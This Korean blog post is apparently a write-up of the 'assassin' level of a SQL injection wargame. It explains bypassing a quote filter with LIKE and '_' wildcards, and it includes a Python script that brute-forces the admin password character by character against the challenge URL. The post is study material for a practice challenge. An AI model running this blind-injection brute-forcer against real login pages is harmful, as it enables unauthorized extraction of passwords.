본문 바로가기
워게임/LOS

assassin

by meanjung 2021. 10. 2.

pw - ' 필터링

 

여기서 like를 사용한다. like는 정규식같이 _ * 같은 것을 사용할 수 있다.

여기서는 조건에 맞는 사용자가 존재만 하면 되니까 _를 반복해서 이용했다.

admin의 pw 길이가 guest와 다를 수 있어 코드로 돌렸더니 값이 안나온다. 

guest와 동일한 길이를 갖고있는데 guest만 출력된다고 추측할 수 있다.

 

 

import requests
temp = ""
cookies={"PHPSESSID":""}

for i in range(1,9):
    flag = 0
    for c in range(44,123):
        passwd = temp
        passwd += chr(c)
        passwd += "_"*(8-i)
        url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+passwd
        res = requests.get(url, cookies=cookies)
        if "Hello admin" in res.text:
            flag = 1
            temp += chr(c) 
            print(passwd)
            break
    if flag==1:
        continue
    for c in range(44,123):
        passwd = temp
        passwd += chr(c)
        passwd += "_"*(8-i)
        url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+passwd
        res = requests.get(url, cookies=cookies)
        if "Hello guest" in res.text:
            temp += chr(c) 
            print(passwd)
            break

 

'워게임 > LOS' 카테고리의 다른 글

zombie_assassin  (0) 2021.10.03
succubus  (0) 2021.10.03
giant  (0) 2021.10.02
bugbear  (0) 2021.10.02
darkknight  (0) 2021.10.02

댓글